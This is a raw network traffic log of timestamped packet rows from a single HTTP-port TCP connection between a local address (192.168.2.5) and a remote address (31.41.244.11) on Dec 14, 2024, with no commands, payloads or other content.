Dec 14, 2024 14:56:19.452179909 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.453263044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.453315973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.453382015 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.453429937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.454330921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.454379082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.454839945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.454894066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.455487013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.455538034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.456176043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.456223965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.456873894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.456885099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.456923008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.458343029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.458353043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.458393097 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.459363937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.459374905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.459419012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.460846901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.460856915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.460899115 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.461941004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.461951017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.461996078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.462982893 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.462992907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.463037014 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.464093924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.464119911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.464159966 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.465132952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.465142965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.465186119 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.466320992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.466331959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.466372013 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.467360020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.467411995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.467462063 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.467511892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.468978882 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.468988895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.469032049 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.470036030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.470046043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.470087051 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.471111059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.471121073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.471163034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.472547054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.472558022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.472596884 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.472630024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.473660946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.473671913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.473711967 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.474960089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.474970102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.475012064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.475807905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.475819111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.475862026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.476857901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.476911068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.476952076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.477024078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.478209972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.478219032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.478260994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.479316950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.479355097 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.479367018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.479402065 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.481122017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.481132030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.481173038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.482119083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.482127905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.482163906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.482845068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.482855082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.482898951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.484282970 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.484292984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.484334946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.485363007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.485373020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.485419035 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.486363888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.486412048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.486493111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.486540079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.487973928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.487983942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.488029957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.489048958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.489058971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.489101887 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.490135908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.490144968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.490190983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.620724916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.620829105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.621170044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.621185064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.621242046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.621278048 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.621432066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.622571945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.622585058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.622625113 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.623657942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.623711109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.624408007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.624420881 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.624461889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.625509024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.625521898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.625565052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.626570940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.626590014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.626625061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.626657009 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.627717972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.627729893 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.627772093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.629084110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.629095078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.629136086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.629908085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.629961967 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.629993916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.630043983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.631308079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.631323099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.631354094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.631395102 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.632406950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.632417917 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.632460117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.633474112 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.633517981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.633523941 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.633589029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.634776115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.634787083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.634840012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.635828018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.635883093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.636535883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.636589050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.637461901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.637473106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.637516975 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.638529062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.638540030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.638581991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.639358044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.639406919 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.639611959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.639662027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.640738010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.640748978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.640788078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.641793966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.641844988 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.641881943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.641931057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.643260002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.643271923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.643333912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.644184113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.644233942 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.644304991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.644354105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.645386934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.645442009 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.645529032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.645574093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.646547079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.646609068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.646703005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.646759987 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.647711992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.647761106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.648263931 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.648314953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.648925066 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.648972034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.649023056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.650091887 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.650141954 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.650233984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.650281906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.651257992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.651305914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.651364088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.651412010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.652426004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.652442932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.652479887 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.652479887 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.653716087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.653765917 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.653827906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.653877020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.654799938 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.654927015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.655009985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.655194998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.656258106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.656269073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.656310081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.657340050 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.657351971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.657392979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.658415079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.658463001 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.658509970 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.658576012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.659589052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.659638882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.660012007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.660060883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.661189079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.661200047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.661242962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.662250042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.662261009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.662301064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.663302898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.663320065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.663345098 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.663377047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.664355040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.664403915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.664443970 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.664508104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.665585995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.665637016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.665996075 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.666043997 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.666886091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.666897058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.666935921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.668118000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.668128967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.668169022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.668201923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.669408083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.669421911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.669457912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.670425892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.670437098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.670480967 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.671502113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.671554089 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.671583891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.671629906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.672651052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.672694921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.672781944 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.672831059 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.674151897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.674170017 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.674201012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.674235106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.675358057 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.675369978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.675410032 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.676543951 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.676556110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.676599026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.677903891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.677915096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.677957058 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.678555965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.678605080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.678973913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.679022074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.680067062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.680078030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.680129051 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.681142092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.681154013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.681197882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.682220936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.682233095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.682274103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.812962055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.812982082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.813045979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.813045979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.813498020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.813512087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.813558102 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.814563036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.814577103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.814635992 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.815654039 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.815712929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.816047907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.816099882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.816147089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.816318989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.817255974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.817312002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.817374945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.817506075 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.818514109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.818594933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.818646908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.819681883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.819694042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.819756985 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.820923090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.820935011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.820990086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.822056055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.822134972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.822194099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.823199987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.823318005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.823367119 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.824445009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.824517012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.824546099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.824582100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.825587988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.825639963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.825681925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.825722933 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.826730967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.826778889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.826812029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.826859951 CET	49846	80	192.168.2.5	31.41.244.11
